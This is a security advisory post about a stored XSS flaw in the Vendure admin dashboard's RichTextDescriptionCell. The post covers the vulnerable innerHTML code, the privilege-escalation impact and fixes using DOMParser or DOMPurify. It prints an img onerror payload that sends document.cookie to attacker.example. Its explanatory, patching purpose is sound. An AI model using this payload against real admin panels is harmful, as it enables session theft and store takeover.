Listen to this Post
The issue is in Vendure’s admin dashboard package @vendure/dashboard latest master.
RichTextDescriptionCell attempts to strip HTML from entity description.
It creates a detached div element.
It assigns untrusted description to div.innerHTML.
This assignment parses active markup.
innerHTML does not execute script tags in typical browsers.
But it does load resources and fire event handlers.
An img tag with src=x and onerror runs when parsed.
Detached nodes still trigger resource loads in Chromium and Firefox.
The onerror handler executes immediately.
Reading div.textContent after assignment does not undo execution.
The sink is the innerHTML assignment itself.
Description is admin-settable.
It appears in multiple list views.
Products, collections, promotions, payment methods, shipping methods use this cell.
A lower-privilege admin can store payload.
Higher-privilege admin opens list.
Payload runs in higher-privilege admin browser.
This is stored XSS.
It can steal cookies or tokens.
It can perform admin actions.
It can cross privilege or channel boundaries.
It chains with channel-scoped admin model.
Channel-scoped admin may have UpdateCatalog or UpdateProduct.
Payload example uses fetch to attacker.example.
It encodes document.cookie.
The vulnerable file is order-table-cell-components.tsx.
Line 51 assigns innerHTML.
Line 52 reads textContent.
Fix uses DOMParser inert parsing.
Or DOMPurify if rich text needed.
Audit other innerHTML stripping assignments.
DailyCVE Form:
Platform: Vendure Dashboard
Version: latest master
Vulnerability: Stored XSS
Severity: Critical
date: Not provided
Prediction: Unknown
(end of form)
What Undercode Say:
Analytics:
grep -R "innerHTML = value" packages/dashboard/src grep -R "RichTextDescriptionCell" packages/dashboard/src sed -n '45,60p' packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx
export const RichTextDescriptionCell: DataTableCellComponent<{ description: string }> = ({ cell }) => {
const value = cell.getValue();
const textContent = useMemo(() => {
if (!value) return '';
const div = document.createElement('div');
div.innerHTML = value;
return div.textContent ?? '';
}, [bash]);
}
Exploit: (Educational Purposes!)
<img src=x onerror="fetch('https://attacker.example/'+encodeURIComponent(document.cookie))">
Protection: from this CVE
const textContent = new DOMParser().parseFromString(value ?? '', 'text/html').body.textContent ?? '';
DOMPurify.sanitize(value);
grep -R "innerHTML =" packages/dashboard/src
Impact:
Stored XSS executing in administrators’ browsers.
Low-privilege admin escalates to higher-privilege admin actions.
Session/token exfiltration.
Account/store takeover.
Cross-channel admin takeover.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
